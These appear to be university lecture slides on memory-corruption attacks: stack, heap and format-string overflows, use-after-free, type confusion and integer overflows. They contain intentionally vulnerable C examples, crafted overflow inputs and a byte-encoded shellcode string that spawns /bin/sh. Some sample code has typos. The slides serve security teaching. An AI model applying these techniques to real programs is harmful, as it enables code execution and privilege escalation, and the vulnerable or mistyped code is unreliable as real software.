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Memory Corruption

“Memory corruption occurs in a computer program when 
the contents of a memory location are unintentionally 
modified due to programming errors; this is termed 
violating memory safety. 

When the corrupted memory contents are used later in that 
program, it leads either to program crash or to strange and 
bizarre program behavior. “

--wikipedia
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Common Vulnerabilities
Overflows: Writing beyond the end of a buffer 

Underflows: Writing beyond the beginning of a buffer

Use-after-free: Using memory after it has been freed

Uninitialized memory: Using pointer before initialization

Null pointer dereferences: Using NULL pointers

Type confusion: Assume a variable/object has the wrong type

HW errors: Hammering memory to cause bit flips to non-owned 
memory
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Buffer Overflows
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Buffer Overflows
Writing outside the boundaries of a buffer
Common programmer errors that lead to it …

§ Insufficient input checks/wrong assumptions about input
§ Unchecked buffer size
§ Integer overflows
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Stack Overflows
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

buf
buf
buf
buf
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

buf
buf
buf
buf

./mytest AAAAA
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

????
????

A\0??
AAAA

./mytest AAAAA
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

Low address/stack top 

AAAA

AAAA
AAAA
AAAA
AAAA

./mytest AAAAAAAAAAAAAAAAAAA

\0???
High 
address/stack 
bottom
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Stack Overflow Example

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

Low address/stack top 

AAAA

AAAA
AAAA
AAAA
AAAA

./mytest AAAAAAAAAAAAAAAAAAA

\0???
High 
address/stack 
bottom
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Control-Flow Hijacking
The saved return address is a code pointer stored in 
memory

§ Controlling it grants control of a control-flow instruction 
(e.g., ret)

Untrusted inputs that lead to corruption of a code pointer 
lead to control-flow hijacking attacks
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Other Code Pointers
Return 
address

return; ret

Function 
address

typedef void (*cmpf_t)(int, int);
void compare(int array[], int len, int num, cmpf_t f)
{

int i;
for (i < 0; i < len; i++)

if (array[i] < num)
f(i, array[i]);

}
call *(rax)

Jump
table

switch (option) {
case 0:

Code …
case 1:

Code ...
...
}

jmp *(rax)
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Where to Point Execution

S T A C K0xdeadbeef

AAAA
AAAA
AAAA
AAAA

\0???

0xdeadbeef:

SHELLCODE
malicious machine code

Malicious injected code is also code 
shellcode, because the first instances 
where used to spawn a shell 
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Injecting Shellcode

S T A C Kbuf + 0x14 

AAAA
AAAA
AAAA
AAAA

\0???

SH
EL

LC
OD

E
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Code Injection
Code injection (CI) - Injecting machine code into a 
vulnerable program’s memory

Code injections attacks inject code and use control-flow 
hijacking to execute that code
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Shellcode Limitations

S T A
 C Kbuf + 0x14 

AAAA

AAAA

AAAA

AAAA

\0???

SH
EL

LC
O

D
E

Injected shellcode cannot include a 
null byte because of strcpy() 

Shellcode needs to be carefully crafted to avoid 
disallowed bytes

Other methods of copying data may not have the 
same limitation: memcpy(), gets(), read(), fread(), 
custom copy routines, etc.
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Stack Overflow Using read()

static void getURL(void)
{

char buf[64];

read(STDIN_FILENO, buf, 128);
get_webpage(buf);

}

Low address/stack top 

High 
address/stack 
bottom

S T A C K

AAAA

AAAA
AAAA
AAAA
AAAA

????

…
…

AAAA

AAAA
No limitation on bytes read.
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Stack Overflow with FP

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

oldEBP

buf

buf

buf
buf
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Stack Overflow with FP

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

\0TADDR

AAAA

AAAA
AAAA
AAAA
AAAA./mytest AAAAAAAAAAAAAAAAAAA
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Stack Overflow with FP

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

\0TADDR

AAAA

AAAA
AAAA
AAAA
AAAA

80484e1: c9 leave
80484e2: c3 ret

./mytest AAAAAAAAAAAAAAAAAAA
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Stack Overflow with FP

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High address/stack bottom

Low address/stack top 

\0TADDR

AAAA

AAAA

AAAA

AAAA

AAAA

80484e1: c9 leave
80484e2: c3 ret

./mytest AAAAAAAAAAAAAAAAAAA

Function exit (LEAVE)

movl %ebp, %esp
pop     %ebp
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Stack Overflow with FP

int mytest(char *str)
{

char buf[16];

strcpy(buf, str);

printf("%s\n", buf);

return strlen(buf);
}

S T A C K

High 
address/stack 
bottom

Low address/stack top 

AAAA

ffffca3c

AAAA

AAAA

AAAA

AAAA

80484e1: c9 leave
80484e2: c3 ret

./mytest AAAAAAAAAAAAAAA\x3c\xca\xff\xffAAAA

Function exit (LEAVE)

movl %ebp, %esp
pop     %ebp

\0???
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Data Attacks
static int mytest(char *str)
{

int authenticated = 0;
char buf[16];

read(STDIN_FILENO, buf, 32);
if (check_pass(buf))

authenticated = 1;

do_something(authenticated);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

oldEBP
authenticated

buf

buf
buf

buf
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Data Attacks
static int mytest(char *str)
{

int authenticated = 0;
char buf[16];

read(STDIN_FILENO, buf, 32);
if (check_pass(buf))

authenticated = 1;

do_something(authenticated);
}

S T A C K

High address/stack bottom

Low address/stack top 

RETADDR

oldEBP
0001

AAAA
AAAA
AAAA

AAAA./mytest AAAAAAAAAAAAAAA\x01\x00\x00\x00
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Non-Control Data Attacks
Attacks overwriting data not directly used in control flow

Essentially corrupting program state that affects its 
security

§ For example: Disabling/Bypassing a security mechanism
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Writing Shellcode
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How to Write Shellcode
Code in assembly à compile with GCC à Binary code
Compile assembly program to object file
gcc -c shellcode.S

View generated code
objdump –d shellcode.o

Copy text segment to separate file
objcopy -O binary --only-section=.text shellcode.o shellcode.sc

Usually encode binary code as text in C, perl, python, etc.
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.sc
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Example Shellcode

# write(1, message, 13)
mov $1, %rax # system call 1 is write
mov $1, %rdi # file handle 1 is stdout
mov $message, %rsi
mov $13, %rdx # number of bytes
syscall # invoke operating system to do the write

# exit(0)
mov $60, %rax
xor %rdi, %rdi # we want return code 0
syscall # invoke operating system to exit

message:
.ascii "Hello, world\n"
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Linux System Call Conventions
The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9 for 
passing arguments

A system-call is done via the syscall instruction. The kernel destroys 
registers %rcx and %r11

The number of the syscall has to be passed in register %rax

System-calls are limited to six arguments, no argument is passed 
directly on the stack

Returning from the syscall, register %rax contains the result of the 
system-call. A value in the range between -4095 and -1 indicates an 
error, it is -errno
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Example Shellcode

# write(1, message, 13)
mov $1, %rax # system call 1 is write
mov $1, %rdi # file handle 1 is stdout
mov $message, %rsi
mov $13, %rdx # number of bytes
syscall # invoke operating system to do the write

# exit(0)
mov $60, %rax
xor %rdi, %rdi # we want return code 0
syscall # invoke operating system to exit

message:
.ascii "Hello, world\n"
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Patch Address of Message

0:48 c7 c0 01 00 00 00 mov $0x1,%rax
7:48 c7 c7 01 00 00 00 mov $0x1,%rdi
e:48 c7 c6 00 00 00 00 mov $0x0,%rsi
15:48 c7 c2 0d 00 00 00 mov $0xd,%rdx
1c:0f 05 syscall
1e:48 c7 c0 3c 00 00 00 mov $0x3c,%rax
25:48 31 ff xor %rdi,%rdi
28:0f 05 syscall

Patch the address of message within 
the vulnerable application for 

shellcode to run correctly
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Testing Shellcode From C

The shellcode can be called
§ (*(void(*)()) shellcode)();

Or written to stdout
§ write(1, shellcode, sizeof(shellcode));

char shellcode[] = 
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" 
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" 
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" 
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
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“Special” Bytes Limitations

Certain characters may not be allowed
§ strcpy() stops copying at null byte
§ gets() reads one line at a time
§ Input may need to be alphanumeric

Bypasses:
§ Rewrite shellcode to avoid characters
§ Encode shellcode

char shellcode[] = 
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" 
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" 
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" 
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
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Eliminating 0 Bytes
Zero in opcodes

§ Alternate instructions can achieve a similar result

Zero in constants
§ Use multiple instructions to construct constants

Spring 2018 Stevens Institute of Technology



Eliminating 0 Bytes
Zero in opcodes

§ Alternate instructions can achieve a similar result

Zero in constants
§ Use multiple instructions to construct constants

0:48 31 c0 xor %rax,%rax

3:48 ff c0 inc %rax
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Eliminating 0 Bytes
# write(1, message, 13)
xor %rax, %rax
inc %rax
#mov $1, %rax # system call 1 is write
xor %rdi, %rdi
inc %rdi
#mov $1, %rdi # file handle 1 is stdout
mov $message, %rsi
xor %rdx, %rdx
addb $13, %dl
#mov $13, %rdx # number of bytes
syscall # invoke operating system to do the write

# exit(0)
xor %rax, %rax
addb $60, %al
#xor $60, %rax # system call 60 is exit 
xor %rdi, %rdi # we want return code 0
syscall # invoke operating system to exit

message:
.ascii "Hello,world\n"
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Eliminating Patching
# write(1, message, 13)
xor %rax, %rax
inc %rax
#mov $1, %rax # system call 1 is write
xor %rdi, %rdi
inc %rdi
#mov $1, %rdi # file handle 1 is stdout
lea message(%rip), %rsi # rip relative load of message address
xor %rdx, %rdx
addb $13, %dl
#mov $13, %rdx # number of bytes
syscall # invoke operating system to do the write

# exit(0)
xor %rax, %rax
addb $60, %al
#xor $60, %rax # system call 60 is exit 
xor %rdi, %rdi # we want return code 0
syscall # invoke operating system to exit

message:
.ascii "Hello,world\n"
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Making Exploits More Generic

Locals

Possible 
alignment 

bytes

Possible 
save FP

Saved 
return 

address

Stack

RETADDR

RETADDR

NOP sled

Shellcode

Multiple copies of 
the return address

Point in the NOP sled

Execution will slide 
into shellcode
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Heap Overflows
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Heap Overflows

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) { 
FILE = *filed; 
char *userinput = malloc(20); 
char *outputfile = malloc(20); 

strcpy(outputfile, "/tmp/foobar"); 
strcpy(userinput, argv[1]); 

filed = fopen(outputfile, "a"); 
if(filed == NULL){ 

fprintf(stderr, "error opening file %s\n", outputfile);
exit(1); } 

fprintf(filed, "%s\n", userinput); 
fclose(filed); 
return 0;

}
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Heap Structure

HEAP
HEAP userinput outputfile

char *userinput = malloc(20); 
char *outputfile = malloc(20); 
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Overwriting Program Data

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) { 
FILE = *filed; 
char *userinput = malloc(20); 
char *outputfile = malloc(20); 

strcpy(outputfile, "/tmp/foobar"); 
strcpy(userinput, argv[1]); 

filed = fopen(outputfile, "a"); 
if(filed == NULL){ 

fprintf(stderr, "error opening file %s\n", outputfile);
exit(1); } 

fprintf(filed, "%s\n", userinput); 
fclose(filed); 
return 0;

}

Overwrite 
outputfile
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Overwriting Program Data

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) { 
FILE = *filed; 
char *userinput = malloc(20); 
char *outputfile = malloc(20); 

strcpy(outputfile, "/tmp/foobar"); 
strcpy(userinput, argv[1]); 

filed = fopen(outputfile, "a"); 
if(filed == NULL){ 

fprintf(stderr, "error opening file %s\n", outputfile);
exit(1); } 

fprintf(filed, "%s\n", userinput); 
fclose(filed); 
return 0;

}

Control what file is 
written to
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Overwriting Program Data

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) { 
FILE = *filed; 
char *userinput = malloc(20); 
char *outputfile = malloc(20); 

strcpy(outputfile, "/tmp/foobar"); 
strcpy(userinput, argv[1]); 

filed = fopen(outputfile, "a"); 
if(filed == NULL){ 

fprintf(stderr, "error opening file %s\n", outputfile);
exit(1); } 

fprintf(filed, "%s\n", userinput); 
fclose(filed); 
return 0;

}

Append to 
that file

What are good 
targets?

Whether you can directly 
control a code pointer depends 

on the program

Spring 2018 Stevens Institute of Technology



Heap Metadata

HEAP
HEAP userinput outputfile

Memory management metadata
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Heap Overflows As Arbitrary 
Writes
Use of the corrupted meta data and may lead to an 
arbitrary write, corrupting a code pointer or security 
critical data

HEAP
HEAP userinput outputfile

Corrupted meta data
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How Memory Allocators Work
We will focus on glibc’s one 
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-
malloc/

Heap memory is obtained from the kernel using the brk() or 
mmap() system calls

§ Provides plenty of “raw” space

The allocator splits memory into arenas
§ Each thread gets its own arena
§ Each arena has its own metadata

Memory within the arena is split into chunks and given to program 
through various allocation functions (e.g., malloc())

§ Chunks are organized in bins, usually through double linked-lists

Spring 2018 Stevens Institute of Technology



Heap Arena Structure
Arena

Free chunksAllocated chunksmalloc chunks
(headers)

No two free chunks can be adjacent.

Adjacent free chunks are merged together
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Bitmap

• P - This bit is set when 
previous chunk is 
allocated

• M - This bit is set when 
chunk is mmap’d

• N - This bit is set when 
this chunk belongs to a 
thread arena.
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Corrupted metadata
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Corrupted metadata
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Linked-list Manipulation to 
Arbitrary Write

Remove n

n->next->prev = n->prev;

n->prev->next = n->next; 

Corrupted pointers attacker controlled next 
and prev pointers due to the overwritten n
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Linked-list Manipulation to 
Arbitrary Write

Remove n

n->next->prev = n->prev;

n->prev->next = n->next; 

*(n->next + prev_offset) = n->next

*(n->prev + next_offset) = n->next
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Examples 1

int main(int argc, char **argv)
{

int i;
char *buf1;

buf1 = malloc(64);
for (i = 0; i < 200; i++)

buf1[i] = 'A';
return 0;

}

int main(int argc, char **argv)
{

int i;
char *buf1;

buf1 = malloc(64);
for (i = 0; i < 200; i++)

buf1[i] = 'A';
free(buf1);
return 0;

}
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Examples 2

int main(int argc, char **argv)
{

int i;
char *buf1, *buf2;

buf1 = malloc(64);
buf2 = malloc(64);
for (i = 0; i < 200; i++)

buf2[i] = buf1[i] = 'A';
free(buf2);
free(buf1);
return 0;

}

Program received signal SIGSEGV, 
Segmentation fault.
_int_free (av=0x7ffff7dd6620 <main_arena>, 
p=0x601050, have_lock=0)

at malloc.c:3966

0x00007ffff7aaa155 <+293>: pop    %r13
0x00007ffff7aaa157 <+295>: pop    %r14
0x00007ffff7aaa159 <+297>: pop    %r15
…
0x00007ffff7aaa185 <+341>: cmp %rax,%rbx
0x00007ffff7aaa188 <+344>: je     0x7ffff7aaa9bf <_int_free+2447>
0x00007ffff7aaa18e <+350>: testb $0x2,0x4(%r12)
0x00007ffff7aaa194 <+356>: je     0x7ffff7aaaa4e <_int_free+2590>

=> 0x00007ffff7aaa19a <+362>: mov 0x8(%r13),%rax

(gdb) x $r13
0x4141414141a15190
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Freeing the same buffer 
twice can also lead to 
metadata corruption

§ May be harder to 
exploit

Double-Free Bugs
int main(int argc, char **argv)
{

int i;
char *buf1, *buf2;

buf1 = malloc(200);
buf2 = malloc(200);
for (i = 0; i < 200; i++)

buf2[i] = buf1[i] = 'A';
free(buf2);
free(buf2);
return 0;

}
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Heap Overflows In Practice
Exploiting the allocator depends on 

§ The allocator’s implementation
§ The sequence of allocator calls in the program

The attacker may need to “guide” the program to perform 
a long sequence of allocations and deallocations to align 
the objects in the heap
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A buffer, object, etc. is used 
after being freed
Scenario:

1. Program allocates and then 
later frees block A

2. Attacker allocates block B, 
reusing the memory 
previously allocated to 
block A

3. Attacker writes data into 
block B

4. Program uses freed block 
A, accessing the data the 
attacker left there

Use-After-Free Vulnerabilities
int main(int argc, char **argv)

{

struct objectA *objA;

struct objectB *objB;

objA = malloc(sizeof(struct object A));

funcA(objA);  /* frees objA */
objB = malloc(sizeof(struct object B));

funcB(objhB) /* writes on objB */

…

funcAA(objA); /*accesses freed objA */
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A buffer, object, etc. is used 
after being freed
Scenario:

1. Program allocates and then 
later frees block A

2. Attacker allocates block B, 
reusing the memory 
previously allocated to 
block A

3. Attacker writes data into 
block B

4. Program uses freed block 
A, accessing the data the 
attacker left there

Use-After-Free Vulnerabilities
int main(int argc, char **argv)

{

struct objectA *objA;

struct objectB *objB;

objA = malloc(sizeof(struct object A));

funcA(objA);  /* frees objA */
objB = malloc(sizeof(struct object B));

funcB(objhB) /* writes on objB */

…

funcAA(objA); /*accesses freed objA */

struct objectA {
… …
void (*fprt)();
char *string;
…

}

struct objectB {
… …
int a;
long b;
…

}
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C++ Vulnerabilities
int main(int argc, char **argv)

{

ClassA *a;

ClassB *b;

b = new ClassB();

….

a = b;

a->vfunc1();

b->vfunc1();

class ClassA {

…

virtual void vfunc1() { /* code Avf1 */

void func1() { /* code Af1 */

};

class ClassB : ClassA {

…

virtual void vfunc1() { /* code Bvf1 */

virtual void vfunc2() { /* code Bvf2 */

void func2() { /* code Bf2 */ }

};

Which functions 
are called?
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The actual virtual function 
that will be called depends 
on the object type NOT on 
the class type of the 
variable used in the 
invocation
VTables are used to enable 
late binding

Late Binding and VTables

*vptrb

*vfunc1 *vfunc1

VTable
ClassA

VTable
ClassB

class variables

Avf1 Bvf1

*vfunc2

Bvf2

Static (generated at compile time)

Dynamic (new)

a
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The actual virtual function 
that will be called depends 
on the object type NOT on 
the class type of the 
variable used in the 
invocation
VTables are used to enable 
late binding

Heap overflows can be 
used to corrupt the vptr

Late Binding and VTables

*vptrb
class variables

Dynamic (new)

Attacker 
controlled 
buffer
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Global Data Overflows
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Global Data Overflow
Arrays in .bss and .data segments

.data
.data global_path scratch_buffer

static char global_path[256];

static char scratch_buffer[1024];

int main(int argc, char **argv)

{

Order needs to be explored 
by the attacker
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Integer Overflows
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Integer Overflows
Integers wrap around!
Can be used to bypass if statements
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Example: Only 5 Clients Can 
Connect

unsigned int connections = 0;
...
/* new connection attempt */
...
if(connections<5) {

connections++;
}

if(connections<5) {
grant_access();

}else{
deny_access();

}
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Integer Overflows
Integers wrap around!
Can be used to bypass if statements
Can do arbitrary writes by referencing negative offsets in 
arrays 
buf[-1000] = input
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Type Confusion
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Type Confusion
int main(int argc, char **argv)

{

ClassA *a;

ClassB *b;

a= new ClassA();

….

b = (Class B)objA;

b->foobar();

class ClassA {

…

virtual void vfunc1() { /* code Avf1 */

void func1() { /* code Af1 */

};

class ClassB {

…

virtual void foobar(int foo, int bar);

}

C/C++ is weakly 
typed
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Type Confusion is “In”
One Perfect Bug: Exploiting Type Confusion in Flash

§ https://googleprojectzero.blogspot.com/2015/07/one-
perfect-bug-exploiting-type_20.html

CVE-2016-3185 php: Type confusion vulnerability in 
make_http_soap_request()

§ https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-
3185

Python xmlparse_setattro() Type Confusion
§ http://bugs.python.org/issue25019

Exploiting Type Confusion Vulnerabilities in Oracle JRE 
(CVE-2011-3521/CVE-2012-0507)

§ http://schierlm.users.sourceforge.net/TypeConfusion.html
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Format String Exploits
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Format String Bugs
Occurs when untrusted input is used as format string

Exploits how variadic functions and the printf-family of 
functions specifically work

int printf(const char * restrict format, ...);
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Argument Types and Number 
Based on Format String
printf(“%ld %h %c %g %s”, long_integer, short, character, 
double, string);

Arguments are pushed to the stack!

printf reads stack arguments based on the format string

Stack char * double char short long int
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Not Enough Arguments
printf(“%ld %h %c %g %s”);
What happens when there is a mismatch between format 
string and actual arguments?

Stack
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Not Enough Arguments
printf(“%ld %h %c %g %s”);
What happens when there is a mismatch between format 
string and actual arguments?
Memory (stack) data are leaked

Stack long int
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Not Enough Arguments
printf(“%ld %h %c %g %s”);
What happens when there is a mismatch between format 
string and actual arguments?
Memory (stack) data are leaked

Stackshort long int
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Not Enough Arguments
printf(“%ld %h %c %g %s”);
What happens when there is a mismatch between format 
string and actual arguments?
Memory (stack) data are leaked

Stackchar short long int
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Direct Parameter Access 
“%3$x” à Access the 3rd argument
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Corrupting Memory Using printf
%n can be used to store the number of written characters 
into an integer pointer

int n;
long li = 100;
printf(“%ld\n%n”, li, &n);
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Corrupting Memory Using printf
%n can be used to store the number of written characters 
into an integer pointer

int n;
long li = 100;
printf(“%ld\n%n”, li, &n);

n = 4
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Corrupting Memory Using printf
printf(“%ld%$3n”, li);
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Corrupting Memory Using printf
printf(“%ld%$3n”, li);
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More printf()
Length modifier (+ zero padding)

long li  = 23;

printf(“%0128ld\n”, li);

It is easy to write a large number of characters!

000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000
00000000000023
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printf As An Arbitrary Write
printf(“%0128ld%$3n”, li);
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Levels of Compromise
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Remote VS local
Local overflow

§ If the user input that can lead to the overflow can be only 
provided by a local user

Remote overflow
§ If the user input that can lead to the overflow can be only 

provided over the network
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Executing programs

User

Administrator

Program

Program

Program

Program

Program

All programs run 
with the privileges 
of the running user 

(Effective UID)

Spring 2018 Stevens Institute of Technology



Accessing resources

User

Administrator

KERNEL

User 
accessible 
resources

Privileged 
resources

Program

Program
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SETUID Programs
Programs that run with the privileges of their owner, not 
the executing user

User

KERNEL

User 
accessible 
resources

Privileged 
resources

SETUID 
Program
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Local Overflow Attacks

User
Privileged 
Program

Privileged 
resources

Other 
privileged 
resources

Other 
privileged 
resources

Program controls 
which resources are 
made accessible

Program can access 
these, but it’s not 

part of its 
functionality

Spring 2018 Stevens Institute of Technology



Local Overflow Attacks

User
Privileged 
Program

Privileged 
resources

Other 
privileged 
resources

Other 
privileged 
resources
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Local Overflow Attacks

User
Privileged 
Program

Privileged 
resources

Other 
privileged 
resources

Other 
privileged 
resources

Bad Input

Such attacks are also referred to as privilege 
escalation attacks
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Attacks Against the Kernel
The kernel can also suffer similar attacks

User

KERNEL

Vulnerable 
system call

Privileged 
resources

User 
Program
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Remote Overflow Attacks 

User

www.stevens.edu

Host: www
OS: Debian
HTTP Server: nginx
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Remote Overflow Attacks 

User

www.stevens.edu

Host: www
OS: Debian
HTTP Server: nginx
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Remote Overflow Attacks 

User

www.stevens.edu

Host: www
OS: Debian
HTTP Server: nginxBad Input

Listen for
connection
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Remote Overflow Attacks 

User

www.stevens.edu

Host: www
OS: Debian
HTTP Server: nginxBad Input

Shell
Listen for
connection
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Remote Overflow Attacks 

User

www.stevens.edu

Host: www
OS: Debian
HTTP Server: nginxBad Input

Shell
Listen for
connection

resources

resources

resources

Such attacks are also referred to as 
remote code execution attacks
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Finding Exploitable Bugs Ain’t
Easy
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Reading
Low-level Software Security: Attacks and Defenses: 
https://trailofbits.github.io/ctf/exploits/references/tr-2007-153.pdf

Smashing the stack for fun and profit: http://phrack.org/issues/49/14.html

System call conventions: http://man7.org/linux/man-pages/man2/syscall.2.html

Basic integer overflows: http://phrack.org/issues/60/10.html

Once upon a free: http://phrack.org/issues/57/9.html

Format string attacks: https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf

Using GDB to exploit: https://www.exploit-db.com/papers/13205/

http://10kstudents.eu/material/
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